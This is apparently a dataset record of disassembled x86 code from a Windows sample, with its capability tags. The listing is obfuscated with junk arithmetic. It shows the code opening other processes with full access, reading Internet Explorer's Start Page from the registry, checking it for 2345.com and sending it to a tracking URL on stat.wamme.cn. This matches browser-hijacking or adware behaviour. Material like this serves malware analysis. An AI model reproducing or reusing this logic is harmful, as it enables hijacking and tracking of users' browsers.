Function at 0x41ad70
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44485d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1128
call fcn.0042a220
mov eax, dword [0x458000]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x456694]
mov esi, dword [0x45668c]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
sar edx, 9
add esi, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, esi
mov esi, dword [0x456690]
mov ebx, dword [0x45669c]
mov eax, 0x5bdd0ecb
imul esi
imul esi, esi, 0xdd0b
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4566a8]
sub ecx, eax
imul edx, edx, 0x3117
add ecx, edx
mov eax, 0x6000f003
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [0x4566a0]
imul eax, eax, 0xffff5557
sub eax, esi
mov esi, dword [0x4566a4]
mov dword [ebp - 0x10d4], eax
mov eax, 0x55072b69
imul ebx
mov eax, dword [ebp - 0x10d4]
sar edx, 0xf
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x80df83a9
imul esi
add edx, esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x456688]
xor edi, edi
add ebx, ecx
add eax, ebx
mov dword [ebp - 0x10ec], edi
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], edi
mov dword [0x456688], eax
mov dword [ebp - 0x10e4], edi
lea ecx, [ebp - 0x10e4]
push ecx
push 0x4472ec
push 0x17
push edi
push 0x44b890
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x456690]
mov ebx, eax
mov eax, 0x9524e185
imul ecx
add edx, ecx
mov ecx, dword [0x4566a8]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0xb25a
sub edx, eax
mov dword [ebp - 0x10d4], edx
mov eax, 0x5bdd0ecb
imul dword [0x45669c]
mov esi, dword [0x4566a0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d4]
sub edx, eax
mov eax, dword [0x456688]
imul eax, eax, 0x7f22
add edx, eax
sub edx, esi
sub edx, 0xdd0b
cmp ebx, edi
mov dword [0x456690], edx
jge 0x41af7a
mov esi, dword [0x45668c]
mov ecx, dword [str._r_____r____]
imul esi, esi, 0xdcfc
imul ecx, ecx, 0x36a6
add esi, ecx
mov ecx, dword [0x45669c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x456698]
sar edx, 0xf
imul ecx, ecx, 0x7f22
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4566a4]
sub esi, eax
add esi, edx
lea edx, [ecx + esi - 0xdd0b]
mov dword [0x456694], edx
mov eax, dword [ebp - 0x10e4]
cmp eax, edi
mov byte [ebp - 4], 0
je 0x41af73
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x41d239
mov eax, 0x6bb7d05b
imul esi, esi, 0xb2d6
imul ecx
sub edx, ecx
mov ebx, ecx
mov ecx, dword [0x456694]
imul ebx, ebx, 0xdd0b
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov ebx, eax
mov eax, 0x95e7555
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x456698]
mov eax, 0x14dc1615
imul ecx
sar edx, 0xa
mov eax, edx
add ebx, esi
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [0x456698], eax
mov eax, dword [ebp - 0x10e4]
lea edx, [ebp - 0x10f8]
push edx
mov dword [ebp - 0x10f8], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x456694]
mov eax, 0x5bdd0ecb
imul ecx
mov ebx, ecx
mov ecx, dword [0x456690]
imul ebx, ebx, 0xdd0b
sar edx, 0xe
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x45668c]
mov eax, ecx
imul eax, eax, 0xaaa9
mov edx, ebx
imul edx, edx, 0x18161
add esi, eax
add esi, edx
mov eax, 0x80df83a9
imul ebx
add edx, ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
cmp dword [ebp - 0x10f8], edi
mov dword [0x45669c], esi
je 0x41af5f
mov edi, dword [0x456698]
mov eax, 0x9524e185
imul edi, edi, 0x733f
imul ebx
add edx, ebx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0xdbb5
sub edi, eax
mov eax, dword [ebp + 8]
add edi, edx
test eax, eax
mov dword [0x4566a0], edi
je 0x41b10c
mov ecx, dword [0x456688]
mov eax, 0x95e7555
imul ecx, ecx, 0xb2d6
imul ebx
sar edx, 9
mov edi, esi
imul edi, edi, 0x36a6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6000f003
imul esi
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, 0x56a500
mov dword [0x4566a4], edi
call fcn.0040f410
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov edi, dword [0x4566a0]
mov eax, ecx
imul edi, edi, 0x113b1
imul eax, eax, 0xdcfc
mov dword [ebp - 0x10d4], eax
mov eax, 0xb73ab967
imul dword [0x456698]
add edx, dword [0x456698]
mov eax, dword [ebp - 0x10d4]
sar edx, 0xf
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x55072b69
imul dword [str._r_____r____]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
sub ebx, edi
add eax, edx
sub ebx, eax
mov dword [0x4566a8], ebx
mov dword [ebp - 0x10e8], 0
mov edx, dword [ebp - 0x10e8]
cmp edx, dword [ebp - 0x10f8]
mov edi, dword [0x45668c]
jge 0x41d1e5
mov eax, 0x95e7555
imul edi, edi, 0xdcfc
imul ebx, ebx, 0x3117
imul dword [0x456694]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [ebp - 0x10d0], eax
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [ebp - 0x10d0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x6000f003
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add ecx, ebx
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10dc], 0
mov eax, dword [ebp - 0x10e8]
mov word [ebp - 0x111c], 3
mov dword [ebp - 0x1114], eax
mov edi, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x10e4]
mov edx, dword [ecx]
lea esi, [ebp - 0x10dc]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1118]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1110]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x111c]
push ecx
mov ebx, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov eax, 0x9524e185
imul ecx
add edx, ecx
mov ecx, dword [0x4566a8]
imul ecx, ecx, 0xb25a
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5bdd0ecb
imul esi
mov edi, dword [0x4566a0]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
imul edx, edx, 0x7f22
sub ecx, eax
add ecx, edx
sub ecx, edi
sub ecx, 0xdd0b
mov dword [0x456690], ecx
test ebx, ebx
jl 0x41b3ad
mov edx, dword [0x456694]
mov ebx, edx
mov eax, 0x5bdd0ecb
imul ebx, ebx, 0xdd0b
imul edx
sar edx, 0xe
add ebx, edx
mov esi, edx
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x45668c]
mov edx, ecx
imul edx, edx, 0xaaa9
mov eax, ebx
imul eax, eax, 0x18161
add esi, edx
add esi, eax
mov eax, 0x80df83a9
imul ebx
add edx, ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp - 0x10dc]
xor ebx, ebx
test eax, eax
mov dword [0x45669c], esi
mov dword [ebp - 0x10cc], ebx
je 0x41b347
mov ecx, dword [eax]
lea edx, [ebp - 0x10cc]
push edx
push 0x447334
push eax
call dword [ecx]
mov ebx, dword [ebp - 0x10cc]
mov ecx, dword [0x456690]
mov esi, dword [0x45669c]
mov edi, dword [0x4566a0]
imul edi, edi, 0xffff5557
mov eax, ecx
imul eax, eax, 0xdd0b
sub edi, eax
mov eax, 0x55072b69
imul esi
sar edx, 0xf
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [0x4566a4]
mov dword [ebp - 0x10d0], eax
mov eax, 0x80df83a9
imul dword [0x4566a4]
add edx, edi
mov edi, dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
sub edx, eax
mov eax, dword [0x456688]
add edx, edi
add eax, edx
test ebx, ebx
mov dword [0x456688], eax
jne 0x41b3ca
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41d1cd
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41d1c1
mov eax, dword [0x45668c]
imul eax, eax, 0xdcfc
mov edx, edi
imul edx, edx, 0x36a6
add eax, edx
mov ecx, eax
mov eax, 0xb73ab967
imul esi
add edx, esi
mov esi, dword [0x4566a4]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x456698]
mov edx, ecx
imul edx, edx, 0x7f22
add eax, esi
lea eax, [edx + eax - 0xdd0b]
mov dword [0x456694], eax
mov dword [ebp - 0x10d8], 0
imul ecx, ecx, 0x733f
imul edi, edi, 0xdbb5
mov esi, dword [0x45668c]
mov eax, 0x9524e185
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
add ecx, edi
lea edx, [ebp - 0x10d8]
push edx
mov dword [0x4566a0], ecx
mov ecx, dword [ebx]
push ebx
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
test eax, eax
jge 0x41b4ad
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41b47c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41b490
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41d1c1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41d1c1
mov ecx, dword [0x456690]
mov esi, dword [0x4566a0]
mov eax, 0x95e7555
imul ecx
mov edi, esi
imul edi, edi, 0xdcfc
sar edx, 9
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45668c]
mov eax, 0xb73ab967
imul edi
add edx, edi
mov edi, dword [0x4566a8]
sar edx, 0xf
add ebx, edx
mov eax, edx
mov edx, edi
imul edx, edx, 0x3117
shr eax, 0x1f
add eax, ebx
sub eax, edx
sub eax, dword [0x456694]
add eax, 0xdbb5
mov dword [0x45668c], eax
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [ebp - 0x10e0], 0
je 0x41b546
mov ecx, dword [eax]
lea edx, [ebp - 0x10e0]
push edx
push 0x447344
push eax
call dword [ecx]
mov ecx, dword [0x456690]
mov edi, dword [0x4566a8]
mov esi, dword [0x4566a0]
imul esi, esi, 0xb2d6
mov eax, 0x6bb7d05b
imul edi
sub edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
mov edi, eax
imul ebx, ebx, 0xdd0b
mov eax, 0x95e7555
imul dword [0x456694]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456698]
sub edi, ebx
sub edi, eax
mov eax, 0x14dc1615
imul edx
sar edx, 0xa
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x456698], eax
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 6
jne 0x41b601
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 4
je 0x41b5ca
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x456690]
mov eax, dword [ebp - 0x10cc]
test eax, eax
mov byte [ebp - 4], 2
je 0x41b5e4
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x456690]
mov eax, dword [ebp - 0x10dc]
test eax, eax
mov byte [ebp - 4], 1
je 0x41d1c7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x41d1c1
push 0
call fcn.0042a1da
sub eax, dword [0x56a758]
add esp, 4
cmp eax, 0x708
jge 0x41b8ae
mov ecx, dword [0x456694]
mov esi, dword [0x45668c]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
mov ecx, dword [0x456690]
sar edx, 9
mov edi, edx
add esi, edx
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [0x4566a8]
sar edx, 0xe
imul ecx, ecx, 0x3117
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x45669c]
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10cc]
lea edx, [ebp - 0x1108]
push edx
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x94]
mov ecx, dword [ebp - 0x1108]
lea eax, [ebp - 0x10d4]
push eax
push ecx
mov dword [ebp - 0x10d4], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, dword [0x456690]
mov esi, dword [0x4566a0]
mov eax, 0x95e7555
imul edi
mov ecx, esi
imul ecx, ecx, 0xdcfc
sar edx, 9
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45668c]
mov eax, 0xb73ab967
imul ecx
add edx, ecx
sar edx, 0xf
add ebx, edx
mov ecx, edx
mov edx, dword [0x4566a8]
imul edx, edx, 0x3117
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [0x456694]
sub ecx, edx
sub ecx, ebx
mov ebx, dword [ebp - 0x10d4]
add ecx, 0xdbb5
test ebx, ebx
mov dword [0x45668c], ecx
je 0x41c3c7
mov eax, dword [str._r_____r____]
imul ecx, ecx, 0xdcfc
mov esi, dword [0x45669c]
imul eax, eax, 0x36a6
add ecx, eax
mov edi, dword [0x4566a4]
mov eax, 0xb73ab967
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456698]
imul edx, edx, 0x7f22
sub ecx, eax
push ebx
add ecx, edi
push 0
lea eax, [edx + ecx - 0xdd0b]
push 0x1f0fff
mov dword [0x456694], eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41b8ae
mov ecx, dword [0x456694]
mov edi, ecx
mov eax, 0x5bdd0ecb
imul edi, edi, 0xdd0b
imul ecx
mov ecx, dword [0x456690]
sar edx, 0xe
imul ecx, ecx, 0xaaa9
add edi, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, edi
add ebx, ecx
mov ecx, dword [0x45668c]
mov edx, ecx
imul edx, edx, 0x18161
add ebx, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
mov cx, word [0x447cdc]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x447cde]
sub ebx, eax
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
mov dword [0x45669c], ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
mov edx, dword [0x45668c]
mov ecx, dword [0x45669c]
mov eax, 0x95e7555
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
mov esi, ecx
imul edx, edx, 0xb2d6
imul esi, esi, 0x36a6
sub esi, eax
add esi, edx
mov edx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x2c4]
sub esi, ecx
push str.startup.exe
push edx
mov dword [0x4566a4], esi
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41c432
mov esi, dword [0x45669c]
mov ecx, dword [0x456688]
mov eax, 0x95e7555
imul ecx, ecx, 0xb2d6
imul dword [0x45668c]
sar edx, 9
mov edi, esi
imul edi, edi, 0x36a6
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x4566a4]
mov eax, 0x5bdd0ecb
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6000f003
imul esi
mov eax, dword [ebp + 8]
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [ebp - 0x10ec]
inc ecx
test eax, eax
mov dword [0x4566a4], edi
mov dword [ebp - 0x10ec], ecx
je 0x41d0d9
push ecx
lea edx, [ebp - 0x10cc]
mov ecx, esp
mov dword [ebp - 0x10c8], esp
push edx
call fcn.00406b00
mov ecx, 0x56a500
call fcn.00406090
test al, al
jne 0x41d0d3
mov ecx, dword [0x456694]
mov esi, dword [0x45668c]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
sar edx, 9
mov ebx, edx
add esi, edx
mov ecx, dword [0x4566a8]
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x456690]
mov edi, dword [0x45669c]
mov eax, 0x5bdd0ecb
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, ecx
imul ecx, ecx, 0xb25a
imul edx, edx, 0x3117
add ebx, edx
mov eax, 0x6000f003
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9524e185
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5bdd0ecb
imul edi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x456688]
imul edx, edx, 0x7f22
sub ecx, eax
mov eax, dword [ebp - 0x10cc]
add ecx, edx
mov dword [str._r_____r____], ebx
sub ecx, dword [0x4566a0]
sub ecx, 0xdd0b
lea edx, [ebp - 0x1104]
push edx
mov dword [0x456690], ecx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x78]
mov ecx, dword [0x456694]
mov eax, 0x5bdd0ecb
imul ecx
mov eax, dword [0x456690]
mov esi, ecx
imul eax, eax, 0xaaa9
mov ecx, dword [0x45668c]
imul esi, esi, 0xdd0b
sar edx, 0xe
mov edi, edx
add esi, edx
mov edx, ecx
imul edx, edx, 0x18161
shr edi, 0x1f
add edi, esi
add edi, eax
add edi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov ecx, dword [ebp - 0x1104]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push ecx
mov dword [0x45669c], edi
call fcn.0041f9c0
mov ecx, dword [0x456694]
mov esi, dword [0x45668c]
mov dword [ebp - 0x10d0], eax
imul esi, esi, 0xdcfc
mov eax, 0x95e7555
imul ecx
mov ecx, dword [0x456690]
sar edx, 9
mov edi, edx
add esi, edx
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [0x4566a8]
sar edx, 0xe
imul ecx, ecx, 0x3117
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x45669c]
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10e0]
lea edx, [ebp - 0x110c]
mov dword [str._r_____r____], edi
mov ecx, dword [eax]
push edx
push eax
xor edi, edi
call dword [ecx + 0x90]
mov ecx, dword [0x456690]
mov ebx, dword [0x4566a0]
mov esi, eax
imul ebx, ebx, 0xdcfc
mov eax, 0x95e7555
imul ecx
mov ecx, dword [0x45668c]
sar edx, 9
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [0x4566a8]
imul ecx, ecx, 0x3117
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [0x456694]
add eax, ebx
sub eax, ecx
sub eax, edx
add eax, 0xdbb5
test esi, esi
mov dword [0x45668c], eax
jne 0x41bb84
mov edx, dword [ebp - 0x110c]
push edx
call fcn.0041f9c0
mov edi, eax
push 0
call fcn.0042a1da
sub eax, dword [0x56a4b4]
add esp, 4
cmp eax, 5
jle 0x41c9a4
test edi, edi
je 0x41bbb8
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41bba6
sub eax, edx
cmp eax, 5
ja 0x41c9a4
mov esi, dword [0x45668c]
mov eax, dword [str._r_____r____]
imul esi, esi, 0xdcfc
mov ecx, dword [0x45669c]
imul eax, eax, 0x36a6
add esi, eax
mov eax, 0xb73ab967
imul ecx
mov eax, dword [0x4566a4]
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x456698]
imul edx, edx, 0x7f22
sub esi, ecx
add esi, eax
lea eax, [edx + esi - 0xdd0b]
mov dword [0x456694], eax
mov ecx, str.http:__www.baiduo.org_
lea edx, [ebp - 0x1c4]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x41bc16
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.0041f860
mov ecx, dword [0x456698]
mov esi, dword [0x456690]
mov dword [ebp - 0x10c8], eax
imul esi, esi, 0xdcfc
mov eax, 0xb73ab967
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xf
add esi, edx
mov ebx, edx
mov edx, dword [0x4566a0]
imul edx, edx, 0x113b1
shr ebx, 0x1f
add ebx, esi
sub ebx, edx
mov eax, 0x55072b69
imul ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x447cc0]
sub ebx, eax
mov eax, dword [0x447cc4]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x447cc8]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x447ccc]
mov dword [ebp - 0x138], ecx
xor eax, eax
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x456694]
movsw word es:[edi], word [esi]
mov esi, dword [0x45668c]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
mov ecx, dword [0x45669c]
sar edx, 9
add esi, edx
mov edi, edx
mov eax, 0x5bdd0ecb
imul dword [0x456690]
sar edx, 0xe
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
add eax, edx
add edi, esi
sub edi, eax
mov eax, 0x6000f003
imul ecx
mov dword [0x4566a8], ebx
imul ebx, ebx, 0x3117
sar edx, 0xe
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x1100]
push edx
add edi, ebx
sub edi, ecx
push 0xf003f
mov dword [ebp - 0x1100], 0
mov dword [str._r_____r____], edi
push 0
lea eax, [ebp - 0x40]
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41c016
mov ecx, dword [0x4566a8]
mov edi, dword [0x456694]
mov eax, 0x6bb7d05b
imul ecx
sub edx, ecx
sar edx, 0xf
mov esi, ecx
mov ecx, edx
imul esi, esi, 0xdd0b
shr ecx, 0x1f
add ecx, edx
mov eax, 0x95e7555
imul edi
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, ecx
mov ecx, dword [0x4566a0]
mov edx, ecx
imul ecx, ecx, 0xffff5557
imul edx, edx, 0xb2d6
sub ebx, esi
sub ebx, eax
add ebx, edx
mov edx, dword [0x456698]
mov esi, dword [0x456690]
mov eax, 0x14dc1615
imul edx
sar edx, 0xa
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, esi
imul esi, esi, 0xaaa9
imul edx, edx, 0xdd0b
sub ecx, edx
mov edx, dword [0x45669c]
mov dword [0x456698], eax
mov eax, 0x55072b69
imul edx
sar edx, 0xf
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x4566a4]
mov eax, 0x80df83a9
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x456688]
add ebx, ecx
add eax, ebx
mov dword [0x456688], eax
mov ecx, edi
mov eax, 0x5bdd0ecb
imul ecx, ecx, 0xdd0b
imul edi
sar edx, 0xe
mov edi, edx
add ecx, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45668c]
mov edx, ecx
imul edx, edx, 0x18161
add edi, esi
add edi, edx
mov eax, 0x80df83a9
imul ecx
add edx, ecx
sar edx, 0xe
mov dword [ebp - 0x10fc], 0x104
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [ebp - 0x10fc]
push ecx
mov ecx, dword [ebp - 0x1100]
sub edi, eax
lea edx, [ebp - 0x144]
push edx
lea eax, [ebp - 0x10f0]
push eax
push 0
mov dword [0x45669c], edi
push str.Start_Page
mov edi, 1
push ecx
mov dword [ebp - 0x10f0], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41c016
mov esi, dword [0x456690]
mov ecx, dword [0x4566a0]
imul ecx, ecx, 0xdcfc
mov eax, 0x95e7555
imul esi
sar edx, 9
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45668c]
mov eax, 0xb73ab967
imul ecx
mov eax, dword [0x56a7dc]
add edx, ecx
sar edx, 0xf
add ebx, edx
mov ecx, edx
mov edx, dword [0x4566a8]
imul edx, edx, 0x3117
shr ecx, 0x1f
add ecx, ebx
mov ebx, dword [0x456694]
sub ecx, edx
sub ecx, ebx
add ecx, 0xdbb5
test eax, eax
mov dword [0x45668c], ecx
jne 0x41c022
lea eax, [ebp - 0x144]
push str..2345.com
push eax
call fcn.00429d50
add esp, 8
test eax, eax
jne 0x41bf77
lea ecx, [ebp - 0x144]
push str..2345.COM
push ecx
call fcn.00429d50
add esp, 8
test eax, eax
je 0x41c016
mov ecx, dword [0x456694]
mov esi, dword [0x45668c]
mov eax, 0x95e7555
imul esi, esi, 0xdcfc
imul ecx
mov ecx, dword [0x456690]
sar edx, 9
mov ebx, edx
add esi, edx
mov eax, 0x5bdd0ecb
imul ecx
mov ecx, dword [0x4566a8]
sar edx, 0xe
imul ecx, ecx, 0x3117
mov eax, edx
shr eax, 0x1f
add eax, edx
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
add ebx, ecx
mov ecx, dword [0x45669c]
mov eax, 0x6000f003
imul ecx
sar edx, 0xe
mov eax, edx
lea ecx, [ebp - 0x144]
shr eax, 0x1f
push ecx
add eax, edx
sub ebx, eax
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x5592b0
mov dword [str._r_____r____], ebx
mov dword [0x56a7dc], edi
call fcn.00429ae1
push 0x132b600
call sym.CallDll.exe_int___cdecl_process3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45668c]
mov esi, dword [0x456690]
mov edx, dword [0x456694]
imul esi, esi, 0xaaa9
mov edi, edx
mov eax, 0x5bdd0ecb
imul edi, edi, 0xdd0b
imul edx
